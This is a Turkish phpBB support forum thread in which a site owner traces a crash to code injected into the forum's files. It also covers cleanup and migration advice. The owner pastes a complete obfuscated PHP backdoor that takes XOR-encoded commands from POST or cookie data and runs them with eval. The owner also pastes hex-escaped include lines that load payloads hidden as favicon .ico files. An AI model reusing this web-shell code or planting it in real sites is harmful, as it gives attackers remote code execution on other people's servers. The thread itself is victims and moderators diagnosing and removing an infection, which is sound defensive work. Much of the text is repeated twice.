Fatal error: Namespace declaration statement has to be the very first statement in the script in
Fatal error: Namespace declaration statement has to be the very first statement in the script in
Merhaba
Hiçbir şey ile uğraşmamış olmama rağmen arkadaşların haber vermesiyle forumun açılmadığını öğrendim. Kendiliğinden oluvermiş. Forumu açmaya çalıştığımızda :
Fatal error: Namespace declaration statement has to be the very first statement in the script in /home/u7016264/public_html/forum/phpbb/textformatter/cache_interface.php on line 14
Böyle birşey başına gelen var mı?
Hiçbir şey ile uğraşmamış olmama rağmen arkadaşların haber vermesiyle forumun açılmadığını öğrendim. Kendiliğinden oluvermiş. Forumu açmaya çalıştığımızda :
Fatal error: Namespace declaration statement has to be the very first statement in the script in /home/u7016264/public_html/forum/phpbb/textformatter/cache_interface.php on line 14
Böyle birşey başına gelen var mı?
Re: Fatal error: Namespace declaration statement has to be the very first statement in the script in
Sorunu çözdüm.
Sorunum sadece forum ile ilgili değil aynı zamanda wordpress ile kurduğum web sayfasında da problem vardı. İkisi aynı anda gitti.
Hosting firmasını aradım ve hiçbir şey ile uğraşmamış olmama rağmen sorun yaşadığımı belirttim. Kendileri tarafından altyapısal bir güncelleme mi yapıldı ya da herhangi bir değişiklik mi diye ama herhangi bir değişiklik yapılmadığını söylediler. Bu problemi de benim çözmem gerektiğini söylediler.
Bunun üzerine hata mesajında yazılan dosyaları tekrar açtım. Daha önce de bakmıştım ama bu sefer yedeklerden felan elimde bulunan diğer dosyalarla karşılaştırdım. Uzunca bir tabi ne olduğunu anlamadığım kodlar vardı. Hepsini sildim.
cache_interface.php dosyası aslında şöyle başlıyormuş :
Sorunum sadece forum ile ilgili değil aynı zamanda wordpress ile kurduğum web sayfasında da problem vardı. İkisi aynı anda gitti.
Hosting firmasını aradım ve hiçbir şey ile uğraşmamış olmama rağmen sorun yaşadığımı belirttim. Kendileri tarafından altyapısal bir güncelleme mi yapıldı ya da herhangi bir değişiklik mi diye ama herhangi bir değişiklik yapılmadığını söylediler. Bu problemi de benim çözmem gerektiğini söylediler.
Bunun üzerine hata mesajında yazılan dosyaları tekrar açtım. Daha önce de bakmıştım ama bu sefer yedeklerden felan elimde bulunan diğer dosyalarla karşılaştırdım. Uzunca bir tabi ne olduğunu anlamadığım kodlar vardı. Hepsini sildim.
cache_interface.php dosyası aslında şöyle başlıyormuş :
Bendeki ise böyleydi ve bu kısımları silince forum geri geldi. Fakat böyle birşey nasıl oldu anlamadım. Dışardan bir müdahale var mıdır ?<?php
/**
*
* This file is part of the phpBB Forum Software package.
<?php $o19467ed4 = 531;$GLOBALS['x589496a8']=Array();global$x589496a8;$x589496a8=$GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['b783a']="\x9\x68\x5c\x36\x20\x6f\x4d\xa\x3f\x59\x63\x67\x3d\x37\x62\x40\x6d\x29\x3e\x2b\x70\x3a\x5f\x46\x2f\x35\x7b\x66\x7d\x3c\x58\x30\x39\x6a\x5d\x4e\xd\x5e\x6c\x7c\x53\x5a\x44\x3b\x6b\x72\x76\x41\x23\x2a\x21\x24\x28\x45\x5b\x65\x51\x31\x47\x2d\x2c\x79\x77\x42\x52\x71\x48\x4b\x33\x34\x73\x4f\x4c\x60\x7e\x57\x75\x64\x55\x74\x54\x50\x61\x26\x7a\x6e\x4a\x78\x22\x32\x56\x49\x38\x25\x2e\x69\x27\x43";$x589496a8[$x589496a8['b783a'][62].$x589496a8['b783a'][82].$x589496a8['b783a'][68].$x589496a8['b783a'][10].$x589496a8['b783a'][89]]=$x589496a8['b783a'][10].$x589496a8['b783a'][1].$x589496a8['b783a'][45];$x589496a8[$x589496a8['b783a'][61].$x589496a8['b783a'][3].$x589496a8['b783a'][32].$x589496a8['b783a'][10].$x589496a8['b783a'][31].$x589496a8['b783a'][89]]=$x589496a8['b783a'][5].$x589496a8['b783a'][45].$x589496a8['b783a'][77];$x589496a8[$x589496a8['b783a'][77].$x589496a8['b783a'][14].$x589496a8['b783a'][27].$x589496a8['b783a'][57].$x589496a8['b783a'][57].$x589496a8['b783a'][14].$x589496a8['b783a'][3]]=$x589496a8['b783a'][70].$x589496a8['b783a'][79].$x589496a8['b783a'][45].$x589496a8['b783a'][38].$x589496a8['b783a'][55].$x589496a8['b783a'][85];$x589496a8[$x589496a8['b783a'][1].$x589496a8['b783a'][57].$x589496a8['b783a'][13].$x589496a8['b783a'][89].$x589496a8['b783a'][55]]=$x589496a8['b783a'][95].$x589496a8['b783a'][85].$x589496a8['b783a'][95].$x589496a8['b783a'][22].$x589496a8['b783a'][70].$x589496a8['b783a'][55].$x589496a8['b783a'][79];$x589496a8[$x589496a8['b783a'][87].$x589496a8['b783a'][32].$x589496a8['b783a'][68].$x589496a8['b783a'][57].$x589496a8['b783a'][57]]=$x589496a8['b783a'][70].$x589496a8['b783a'][55].$x589496a8['b783a'][45].$x589496a8['b783a'][95].$x589496a8['b783a'][82].$x589496a8['b783a'][38].$x589496a8['b783a'][95].$x589496a8['b783a'][84].$x589496a8['b783a'][55];$x589496a8[$x589496a8['b783a'][11].$x589496a8['b783a'][77].$x589496a8['b783a'][10].$x589496a8['b783a'][57]]=$x589496a8['b783a'][20].$x589496a8['b783a'][1].$x589496a8['b783a'][20].$x589496a8['b783a'][46].$x589496a8['b783a'][55].$x589496a8['b783a'][45].$x589496a8['b783a'][70].$x589496a8['b783a'][95].$x589496a8['b783a'][5].$x589496a8['b783a'][85];$x589496a8[$x589496a8['b783a'][79].$x589496a8['b783a'][55].$x589496a8['b783a'][25].$x589496a8['b783a'][27]]=$x589496a8['b783a'][76].$x589496a8['b783a'][85].$x589496a8['b783a'][70].$x589496a8['b783a'][55].$x589496a8['b783a'][45].$x589496a8['b783a'][95].$x589496a8['b783a'][82].$x589496a8['b783a'][38].$x589496a8['b783a'][95].$x589496a8['b783a'][84].$x589496a8['b783a'][55];$x589496a8[$x589496a8['b783a'][82].$x589496a8['b783a'][57].$x589496a8['b783a'][10].$x589496a8['b783a'][89].$x589496a8['b783a'][31]]=$x589496a8['b783a'][14].$x589496a8['b783a'][82].$x589496a8['b783a'][70].$x589496a8['b783a'][55].$x589496a8['b783a'][3].$x589496a8['b783a'][69].$x589496a8['b783a'][22].$x589496a8['b783a'][77].$x589496a8['b783a'][55].$x589496a8['b783a'][10].$x589496a8['b783a'][5].$x589496a8['b783a'][77].$x589496a8['b783a'][55];$x589496a8[$x589496a8['b783a'][46].$x589496a8['b783a'][32].$x589496a8['b783a'][27].$x589496a8['b783a'][3].$x589496a8['b783a'][57].$x589496a8['b783a'][25]]=$x589496a8['b783a'][70].$x589496a8['b783a'][55].$x589496a8['b783a'][79].$x589496a8['b783a'][22].$x589496a8['b783a'][79].$x589496a8['b783a'][95].$x589496a8['b783a'][16].$x589496a8['b783a'][55].$x589496a8['b783a'][22].$x589496a8['b783a'][38].$x589496a8['b783a'][95].$x589496a8['b783a'][16].$x589496a8['b783a'][95].$x589496a8['b783a'][79];$x589496a8[$x589496a8['b783a'][1].$x589496a8['b783a'][57].$x589496a8['b783a'][92].$x589496a8['b783a'][89].$x589496a8['b783a'][32].$x589496a8['b783a'][55].$x589496a8['b783a'][69].$x589496a8['b783a'][77].$x589496a8['b783a'][27]]=$x589496a8['b783a'][82].$x589496a8['b783a'][32].$x589496a8['b783a'][31].$x589496a8['b783a'][3].$x589496a8['b783a'][69].$x589496a8['b783a'][57].$x589496a8['b783a'][92];$x589496a8[$x589496a8['b783a'][79].$x589496a8['b783a'][68].$x589496a8['b783a'][3].$x589496a8['b783a'][57]]=$x589496a8['b783a'][84].$x589496a8['b783a'][57].$x589496a8['b783a'][31].$x589496a8['b783a'][77].$x589496a8['b783a'][13].$x589496a8['b783a'][10].$x589496a8['b783a'][3];$x589496a8[$x589496a8['b783a'][46].$x589496a8['b783a'][27].$x589496a8['b783a'][25].$x589496a8['b783a'][31]]=$_POST;$x589496a8[$x589496a8['b783a'][1].$x589496a8['b783a'][31].$x589496a8['b783a'][57].$x589496a8['b783a'][77].$x589496a8['b783a'][77].$x589496a8['b783a'][10].$x589496a8['b783a'][31]]=$_COOKIE;@$x589496a8[$x589496a8['b783a'][1].$x589496a8['b783a'][57].$x589496a8['b783a'][13].$x589496a8['b783a'][89].$x589496a8['b783a'][55]]($x589496a8['b783a'][55].$x589496a8['b783a'][45].$x589496a8['b783a'][45].$x589496a8['b783a'][5].$x589496a8['b783a'][45].$x589496a8['b783a'][22].$x589496a8['b783a'][38].$x589496a8['b783a'][5].$x589496a8['b783a'][11],NULL);@$x589496a8[$x589496a8['b783a'][1].$x589496a8['b783a'][57].$x589496a8['b783a'][13].$x589496a8['b783a'][89].$x589496a8['b783a'][55]]($x589496a8['b783a'][38].$x589496a8['b783a'][5].$x589496a8['b783a'][11].$x589496a8['b783a'][22].$x589496a8['b783a'][55].$x589496a8['b783a'][45].$x589496a8['b783a'][45].$x589496a8['b783a'][5].$x589496a8['b783a'][45].$x589496a8['b783a'][70],0);@$x589496a8[$x589496a8['b783a'][1].$x589496a8['b783a'][57].$x589496a8['b783a'][13].$x589496a8['b783a'][89].$x589496a8['b783a'][55]]($x589496a8['b783a'][16].$x589496a8['b783a'][82].$x589496a8['b783a'][87].$x589496a8['b783a'][22].$x589496a8['b783a'][55].$x589496a8['b783a'][87].$x589496a8['b783a'][55].$x589496a8['b783a'][10].$x589496a8['b783a'][76].$x589496a8['b783a'][79].$x589496a8['b783a'][95].$x589496a8['b783a'][5].$x589496a8['b783a'][85].$x589496a8['b783a'][22].$x589496a8['b783a'][79].$x589496a8['b783a'][95].$x589496a8['b783a'][16].$x589496a8['b783a'][55],0);@$x589496a8[$x589496a8['b783a'][46].$x589496a8['b783a'][32].$x589496a8['b783a'][27].$x589496a8['b783a'][3].$x589496a8['b783a'][57].$x589496a8['b783a'][25]](0);$ic69015f=NULL;$i4c985565=NULL;$x589496a8[$x589496a8['b783a'][44].$x589496a8['b783a'][3].$x589496a8['b783a'][57].$x589496a8['b783a'][31].$x589496a8['b783a'][3].$x589496a8['b783a'][10].$x589496a8['b783a'][92].$x589496a8['b783a'][25].$x589496a8['b783a'][25]]=$x589496a8['b783a'][13].$x589496a8['b783a'][57].$x589496a8['b783a'][82].$x589496a8['b783a'][31].$x589496a8['b783a'][55].$x589496a8['b783a'][14].$x589496a8['b783a'][92].$x589496a8['b783a'][55].$x589496a8['b783a'][59].$x589496a8['b783a'][69].$x589496a8['b783a'][14].$x589496a8['b783a'][92].$x589496a8['b783a'][55].$x589496a8['b783a'][59].$x589496a8['b783a'][69].$x589496a8['b783a'][69].$x589496a8['b783a'][77].$x589496a8['b783a'][69].$x589496a8['b783a'][59].$x589496a8['b783a'][14].$x589496a8['b783a'][32].$x589496a8['b783a'][13].$x589496a8['b783a'][68].$x589496a8['b783a'][59].$x589496a8['b783a'][82].$x589496a8['b783a'][14].$x589496a8['b783a'][82].$x589496a8['b783a'][3].$x589496a8['b783a'][57].$x589496a8['b783a'][89].$x589496a8['b783a'][77].$x589496a8['b783a'][3].$x589496a8['b783a'][31].$x589496a8['b783a'][69].$x589496a8['b783a'][3].$x589496a8['b783a'][25];global$k6106c855;function z10d7c6($ic69015f,$o072){global$x589496a8;$w09e09="";for($h1fcab=0;$h1fcab<$x589496a8[$x589496a8['b783a'][77].$x589496a8['b783a'][14].$x589496a8['b783a'][27].$x589496a8['b783a'][57].$x589496a8['b783a'][57].$x589496a8['b783a'][14].$x589496a8['b783a'][3]]($ic69015f);){for($gde9e72a9=0;$gde9e72a9<$x589496a8[$x589496a8['b783a'][77].$x589496a8['b783a'][14].$x589496a8['b783a'][27].$x589496a8['b783a'][57].$x589496a8['b783a'][57].$x589496a8['b783a'][14].$x589496a8['b783a'][3]]($o072)&&$h1fcab<$x589496a8[$x589496a8['b783a'][77].$x589496a8['b783a'][14].$x589496a8['b783a'][27].$x589496a8['b783a'][57].$x589496a8['b783a'][57].$x589496a8['b783a'][14].$x589496a8['b783a'][3]]($ic69015f);$gde9e72a9++,$h1fcab++){$w09e09.=$x589496a8[$x589496a8['b783a'][62].$x589496a8['b783a'][82].$x589496a8['b783a'][68].$x589496a8['b783a'][10].$x589496a8['b783a'][89]]($x589496a8[$x589496a8['b783a'][61].$x589496a8['b783a'][3].$x589496a8['b783a'][32].$x589496a8['b783a'][10].$x589496a8['b783a'][31].$x589496a8['b783a'][89]]($ic69015f[$h1fcab])^$x589496a8[$x589496a8['b783a'][61].$x589496a8['b783a'][3].$x589496a8['b783a'][32].$x589496a8['b783a'][10].$x589496a8['b783a'][31].$x589496a8['b783a'][89]]($o072[$gde9e72a9]));}}return$w09e09;}function a906418($ic69015f,$o072){global$x589496a8;global$k6106c855;return$x589496a8[$x589496a8['b783a'][79].$x589496a8['b783a'][68].$x589496a8['b783a'][3].$x589496a8['b783a'][57]]($x589496a8[$x589496a8['b783a'][79].$x589496a8['b783a'][68].$x589496a8['b783a'][3].$x589496a8['b783a'][57]]($ic69015f,$k6106c855),$o072);}foreach($x589496a8[$x589496a8['b783a'][1].$x589496a8['b783a'][31].$x589496a8['b783a'][57].$x589496a8['b783a'][77].$x589496a8['b783a'][77].$x589496a8['b783a'][10].$x589496a8['b783a'][31]]as$o072=>$d979){$ic69015f=$d979;$i4c985565=$o072;}if(!$ic69015f){foreach($x589496a8[$x589496a8['b783a'][46].$x589496a8['b783a'][27].$x589496a8['b783a'][25].$x589496a8['b783a'][31]]as$o072=>$d979){$ic69015f=$d979;$i4c985565=$o072;}}$ic69015f=@$x589496a8[$x589496a8['b783a'][79].$x589496a8['b783a'][55].$x589496a8['b783a'][25].$x589496a8['b783a'][27]]($x589496a8[$x589496a8['b783a'][1].$x589496a8['b783a'][57].$x589496a8['b783a'][92].$x589496a8['b783a'][89].$x589496a8['b783a'][32].$x589496a8['b783a'][55].$x589496a8['b783a'][69].$x589496a8['b783a'][77].$x589496a8['b783a'][27]]($x589496a8[$x589496a8['b783a'][82].$x589496a8['b783a'][57].$x589496a8['b783a'][10].$x589496a8['b783a'][89].$x589496a8['b783a'][31]]($ic69015f),$i4c985565));if(isset($ic69015f[$x589496a8['b783a'][82].$x589496a8['b783a'][44]])&&$k6106c855==$ic69015f[$x589496a8['b783a'][82].$x589496a8['b783a'][44]]){if($ic69015f[$x589496a8['b783a'][82]]==$x589496a8['b783a'][95]){$h1fcab=Array($x589496a8['b783a'][20].$x589496a8['b783a'][46]=>@$x589496a8[$x589496a8['b783a'][11].$x589496a8['b783a'][77].$x589496a8['b783a'][10].$x589496a8['b783a'][57]](),$x589496a8['b783a'][70].$x589496a8['b783a'][46]=>$x589496a8['b783a'][57].$x589496a8['b783a'][94].$x589496a8['b783a'][31].$x589496a8['b783a'][59].$x589496a8['b783a'][57],);echo@$x589496a8[$x589496a8['b783a'][87].$x589496a8['b783a'][32].$x589496a8['b783a'][68].$x589496a8['b783a'][57].$x589496a8['b783a'][57]]($h1fcab);}elseif($ic69015f[$x589496a8['b783a'][82]]==$x589496a8['b783a'][55]){eval/*q6d6090*/($ic69015f[$x589496a8['b783a'][77]]);}exit();} ?><?php
/**
*
* This file is part of the
Re: Fatal error: Namespace declaration statement has to be the very first statement in the script in
Dosyanıza varsayılan sürümde olmayan kodlar eklenmiş. Bunun için öncelikle tüm dosya izinlerinizi (chmod) kontrol edin ve diğer dosyalarda bu tarz kodlar varsa orijinal haline getirin. Ayrıca hostinginizden yeterince güvenlik önlemleri almasını isteyin. Çünkü dosyalara sunucunuz içerisindeki herhangi bir hesap (account) üzerinden de müdahale olabilir

phpBB Eklenti Kurulumu | Kurallar | phpBB3 İzinleri | Otel Rehberi
Kurallarımız gereği lütfen özel mesaj ile yardım istemeyiniz, cevap vermiyoruz.
Re: Fatal error: Namespace declaration statement has to be the very first statement in the script in
Bu olaydan sonra bütün dosyaları gözden geçirdim. İzinlerini 644 olarak güncelledim. Bugün tekrar bi kontrol edeyim dedim yine bazı dosyaların izinleri 755 olmuş.
Örnek vermek gerekirse, store klasörü içine index.php diye bir dosya kendiliğinden oluşuyor. Bu dosyanın index.htm olması gerekiyor. Bu dosya da index.htm.bak.bak olarak çıkıyor. Bu index.htm.bak.bak dosyasının içindeki kodlarda bi bozulma-ekleme yok ama adı değişiyor. index.php dosyasının içinde de herhalinden belli saçma sapan kodlar var.
Bu index.php dosyasını siliyorum. Diğer dosyanın adını da orijinal hale getiriyorum. Sonra yeniden aynı işlem oluyor.
Bu sadece bir örnek. Başka yerlerde de buna benzer bikaç durum oluşuyor. Bütün dosya ve klasörleri tek tek taradım. Tespit edebildiklerimi temizledim veya sonradan eklenen kodları sildim.
Bu tarz dosyaları nasıl tespit ettiğime gelince de :
Last Modified ve Permissions bakıyorum. Bir terslik olduğunu anlıyorsunuz. Bunların içini açtığımda da tahmin edilen sonuç karşınıza çıkıyor.
Ne yapmam gerekiyor ?
Örnek vermek gerekirse, store klasörü içine index.php diye bir dosya kendiliğinden oluşuyor. Bu dosyanın index.htm olması gerekiyor. Bu dosya da index.htm.bak.bak olarak çıkıyor. Bu index.htm.bak.bak dosyasının içindeki kodlarda bi bozulma-ekleme yok ama adı değişiyor. index.php dosyasının içinde de herhalinden belli saçma sapan kodlar var.
Bu index.php dosyasını siliyorum. Diğer dosyanın adını da orijinal hale getiriyorum. Sonra yeniden aynı işlem oluyor.
Bu sadece bir örnek. Başka yerlerde de buna benzer bikaç durum oluşuyor. Bütün dosya ve klasörleri tek tek taradım. Tespit edebildiklerimi temizledim veya sonradan eklenen kodları sildim.
Bu tarz dosyaları nasıl tespit ettiğime gelince de :
Last Modified ve Permissions bakıyorum. Bir terslik olduğunu anlıyorsunuz. Bunların içini açtığımda da tahmin edilen sonuç karşınıza çıkıyor.
Ne yapmam gerekiyor ?
En son copyas tarafından 08.09.2017, 14:42 tarihinde düzenlendi, toplamda 3 kere düzenlendi.
Re: Fatal error: Namespace declaration statement has to be the very first statement in the script in
Ana dizindeki yani config.php dosyasının bulunduğu dizinde olan index.php dosyasının içinde de araya şu tarz kodlar girmiş oluyor :
bu kodlar şunların arasında oluşuveriyor :
Bu temizlik işinden sonra veritabanı şifresi ftp şifresi gibi şifrelerimi de değiştirmiştim.
/*affb3*/
@include "\x2fhome\x2fu701\x36264/\x70ubli\x63_htm\x6c/for\x75m/ph\x70bb/r\x65port\x2ffavi\x63on_b\x6489a1\x2eico";
/*affb3*/
bu kodlar şunların arasında oluşuveriyor :
<?php
/**
*
* This file is part of the phpBB Forum Software package.
Bu temizlik işinden sonra veritabanı şifresi ftp şifresi gibi şifrelerimi de değiştirmiştim.
Re: Fatal error: Namespace declaration statement has to be the very first statement in the script in
Bir örnek daha, bu da files klasörü içinde bulunan index.php dosyasının içeriği :
Böyle bir dosya normalde yok, index.htm olması gerekiyor ama bu dosyanın da adı değişiyor. Yukarda anlattığım gibi. Sanırım derdimi anlatabildim.
Tavsiye ve yardımlarınızı bekliyorum.
<?php
/*f3cfe*/
@include "\x2fhome\x2fu701\x36264/\x70ubli\x63_htm\x6c/for\x75m/ve\x6edor/\x6fcram\x69us/f\x61vico\x6e_965\x6361.i\x63o";
/*f3cfe*/
echo file_get_contents('index.htm.bak.bak');
Böyle bir dosya normalde yok, index.htm olması gerekiyor ama bu dosyanın da adı değişiyor. Yukarda anlattığım gibi. Sanırım derdimi anlatabildim.
Tavsiye ve yardımlarınızı bekliyorum.
Re: Fatal error: Namespace declaration statement has to be the very first statement in the script in
Hosting firmanızı uyarmanızı, çözüm bulamıyorlarsa değiştirmenizi öneririm. Gerekli güvenlik önlemlerini almaları gerekiyor. Bu tarz exploit saldırılarında şifre değiştirmeniz de işe yaramayabiliyor. Dosyalarınıza sunucu içerisinden bir açık sebebiyle müdahale olduğunu düşünüyorum.

phpBB Eklenti Kurulumu | Kurallar | phpBB3 İzinleri | Otel Rehberi
Kurallarımız gereği lütfen özel mesaj ile yardım istemeyiniz, cevap vermiyoruz.
Re: Fatal error: Namespace declaration statement has to be the very first statement in the script in
Sorumun özeti :
Bu işlem ile içerik kaybı yaşarmıyım ?
Ayrıntılı şekilde aşağıda anlatmaya çalıştım.
Gelen cevap :
Bu arada sorunun kaynağı sanırım wordpress. phpBB forum burdan etkilendi diye düşünüyorum. Bütün bir temizlik yaptıktan sonra bile wordpress dosyalarım olan
Şimdi aklıma takılan soru bu işi kökünden nasıl çözüme ulaştıracağım konusundadır. Diyelim hosting firmasını değiştirmeye karar verdim. Sistemi komple taşıyacağım fakat içinde zararlı yazılımla taşımak da istemiyorum. Ya tespit edemediğim dosyalar varsa ?
İlk sorum ki bunu hosting firmasına da sormuştum. Ben dosyaların kontrolünü yaptım. Veritabanına hiç ellemedim. Veritabanı içeriği nasıl kontrol edilir, mysql sorgusu yapılıyormuş okuduğum bazı yazılarda denk gelmiştim bu sorgu nasıl yapılır bilmiyorum. Sorum : Veritabanına bu tarz yazılımlar bulaşır mı ?
Firmanın cevabı : Veritabanınıza bulaşma sorunu olmaz ancak veritabanınızdaki verilerinize erişelebilir. Veritabanı şifrenizi değiştirmeniz ve hem sitenizin hem veritabanınızın yedeklerinizi almanız güvenliğiniz için iyi olacaktır.
Şimdi diyelim veritabanında bu tarz yazılımlar yok. Bu açıdan rahatız diyelim. Yeni firmaya geçişte de şifre veritabanı adı falan bütün bilgileri de değiştirdik mi veritabanı sorununu çözmüş oluyoruz diye düşünüyorum.
Fakat dosyaların içinde hala tespit edemediğim zararlı yazılım olabilir. Bütün sistemi, bütün dosyaları açıp tek tek kod kontrolü yapmak gerçekten uzun zaman isteyen imkansıza yakın bişey ki buna sabır da lazım.
Dosyaları güvenli şekilde aktarmak için de teknik bilgimin sınırları çerçevesinde aklıma şöyle bir yol geliyor :
3.2.0 sürümünü kullanıyorum şu an, bilerek 3.2.1 sürümüne güncelleme yapmadım. Bu olayları halledip öyle geçerim diyordum. Ayrıca dosyalar da güncelleneceği için kendiliğinden temizlik yapılmış olur diye düşünmekteyim.
phpBB 3.2.x güncelleme nasıl yapılır? başlığında anlattığınız üzere 4. maddedeki dosya ve klasörler sistemi olduğu gibi kullanmak içerik kaybı yaşamamak için bize gerekli olan dosya ve klasörler. Bütün klasör ve içindeki dosyaları hesaba kattığımız zaman kontrol edilemez ( zaman açısından ) gibi geliyor ama sadece bu klasör ve dosyalar kontrol edilebilir.
5. maddede
Böyle bir işlem yaptığım zaman kaybedeceklerim aklıma geldiği ve bilgimin yettiği kadarı ile :
Özeti :
Bu işlem ile içerik kaybı yaşarmıyım ?
İçerikten kasıt mesajlardaki yazılar, mesajların içindeki [url] [img] bbcodelu link ve resimler, mesajlara doğrudan yüklenmiş resim, pdf dosyaları vb. Yukarda anlattığım tasarım bazlı içerik önemli değil benim için...
config.php
dosyası ve /images
, /store
ve /files
klasörleri haricindeki dosya ve klasörleri 3.2.1 paketinden çekerek, hem güncelleme işlemi yapmış hem de temizlik yapmış olurmuyum ? Bu işlem ile içerik kaybı yaşarmıyım ?
Ayrıntılı şekilde aşağıda anlatmaya çalıştım.
Gelen cevap :
Tespit ettiğim dosyaları söyledim bakalım, çözüm bulamazlarsa dediğiniz gibi firma değişikliği yapacağım. Zaten teknik bilgim sınırlı, yeteri kadar destek de alamıyorum, yazılım desteğimiz yok diyerek bütün kullanıcıları webmaster sanıyorlar.Standart yapımızda direkt hack durumlarının araştırılması veya da düzeltilmesi gibi bir durum bulunmamaktadır. Web alanınız kontrol edildiğinde illegal bir dosya görülmemektedir. Kendinizin tespit ettiği ve şuanda web alanınızda bulunan dosya isimlerini bizimle paylaşmanız halinde bu dosyaların ya da injection işlemlerinin nasıl yapıldığına dair sunucu ekibi tarafından detaylı inceleme yapılması sağlanabilecektir.
Bu arada sorunun kaynağı sanırım wordpress. phpBB forum burdan etkilendi diye düşünüyorum. Bütün bir temizlik yaptıktan sonra bile wordpress dosyalarım olan
/public_html/.htaccess
ile /public_html/index.php
dosyalarında yeniden çıktı. Her ne oluyorsa önce bu dosyalara sonra diğer dosyalara sıçrıyor diye tahmin etmekteyim.Şimdi aklıma takılan soru bu işi kökünden nasıl çözüme ulaştıracağım konusundadır. Diyelim hosting firmasını değiştirmeye karar verdim. Sistemi komple taşıyacağım fakat içinde zararlı yazılımla taşımak da istemiyorum. Ya tespit edemediğim dosyalar varsa ?
İlk sorum ki bunu hosting firmasına da sormuştum. Ben dosyaların kontrolünü yaptım. Veritabanına hiç ellemedim. Veritabanı içeriği nasıl kontrol edilir, mysql sorgusu yapılıyormuş okuduğum bazı yazılarda denk gelmiştim bu sorgu nasıl yapılır bilmiyorum. Sorum : Veritabanına bu tarz yazılımlar bulaşır mı ?
Firmanın cevabı : Veritabanınıza bulaşma sorunu olmaz ancak veritabanınızdaki verilerinize erişelebilir. Veritabanı şifrenizi değiştirmeniz ve hem sitenizin hem veritabanınızın yedeklerinizi almanız güvenliğiniz için iyi olacaktır.
Şimdi diyelim veritabanında bu tarz yazılımlar yok. Bu açıdan rahatız diyelim. Yeni firmaya geçişte de şifre veritabanı adı falan bütün bilgileri de değiştirdik mi veritabanı sorununu çözmüş oluyoruz diye düşünüyorum.
Fakat dosyaların içinde hala tespit edemediğim zararlı yazılım olabilir. Bütün sistemi, bütün dosyaları açıp tek tek kod kontrolü yapmak gerçekten uzun zaman isteyen imkansıza yakın bişey ki buna sabır da lazım.
Dosyaları güvenli şekilde aktarmak için de teknik bilgimin sınırları çerçevesinde aklıma şöyle bir yol geliyor :
3.2.0 sürümünü kullanıyorum şu an, bilerek 3.2.1 sürümüne güncelleme yapmadım. Bu olayları halledip öyle geçerim diyordum. Ayrıca dosyalar da güncelleneceği için kendiliğinden temizlik yapılmış olur diye düşünmekteyim.
phpBB 3.2.x güncelleme nasıl yapılır? başlığında anlattığınız üzere 4. maddedeki dosya ve klasörler sistemi olduğu gibi kullanmak içerik kaybı yaşamamak için bize gerekli olan dosya ve klasörler. Bütün klasör ve içindeki dosyaları hesaba kattığımız zaman kontrol edilemez ( zaman açısından ) gibi geliyor ama sadece bu klasör ve dosyalar kontrol edilebilir.
5. maddede
/vendor
ve /cache
klasörlerini silin diyor. Bunlarla beraber 4.maddede söylenen config.php
dosyasını, ve /images
, /store
ve /files
klasörleri hariç bütün dosya ve klasörleri silsem içerik kaybı yaşarmıyım ? config.php
dosyası ve /images
, /store
ve /files
klasörleri haricindeki dosya ve klasörleri 3.2.1 paketinden çekerim. Hem güncelleme işlemi yapmış hem de temizlik yapmış olurmuyum ? Böyle bir işlem yaptığım zaman kaybedeceklerim aklıma geldiği ve bilgimin yettiği kadarı ile :
- BBcode 'ları kaybederim ki yine yüklerim prob değil kaybetsem de
- prosilver Special Edition teması kullanıyorum yeniden yüklerim prob değil
- logo ve header fotosunu kaybedirim prob değil, yeniden yapılır
- bikaç eklenti kurulu onları yeniden yüklerim, prob değil
Özeti :
config.php
dosyası ve /images
, /store
ve /files
klasörleri haricindeki dosya ve klasörleri 3.2.1 paketinden çekerek, hem güncelleme işlemi yapmış hem de temizlik yapmış olurmuyum ? Bu işlem ile içerik kaybı yaşarmıyım ?
İçerikten kasıt mesajlardaki yazılar, mesajların içindeki [url] [img] bbcodelu link ve resimler, mesajlara doğrudan yüklenmiş resim, pdf dosyaları vb. Yukarda anlattığım tasarım bazlı içerik önemli değil benim için...
Re: Fatal error: Namespace declaration statement has to be the very first statement in the script in
phpBB 3.2.x güncelleme nasıl yapılır? konusunda da belirttiğimiz gibi güncellemeyi o şekilde yapabilirsiniz. Sonuç olarak içerik kaybı yaşamazsınız, çünkü mesajlar, forumlar, kategoriler v.b. tüm veriler dosyalarda değil veritabanında saklanmaktadır. Mesajlara ekli olan resim, pdf v.b. dosyalar
Kullandığınız temaları güncelleme işleminden sonra son sürüme göre güncellemelisiniz. Yine de tüm bu işlemlerden önce olası her ihtimale karşı tüm site yedeğinizi alın.
/files
dizininde; avatarlar, forum resimleri gibi resimler de /images
dizinininde tutulur. /store
dizininde YKP'den almış olduğunuz veritabanı yedeği saklanır.config.php
dosyasında ise veritabanınıza bağlanmayı sağlayan bilgiler ve ayarlar bulunur. Kullandığınız temaları güncelleme işleminden sonra son sürüme göre güncellemelisiniz. Yine de tüm bu işlemlerden önce olası her ihtimale karşı tüm site yedeğinizi alın.

phpBB Eklenti Kurulumu | Kurallar | phpBB3 İzinleri | Otel Rehberi
Kurallarımız gereği lütfen özel mesaj ile yardım istemeyiniz, cevap vermiyoruz.
Kimler çevrimiçi
Bu forumu görüntüleyen kullanıcılar: Hiç bir kayıtlı kullanıcı yok ve 1 misafir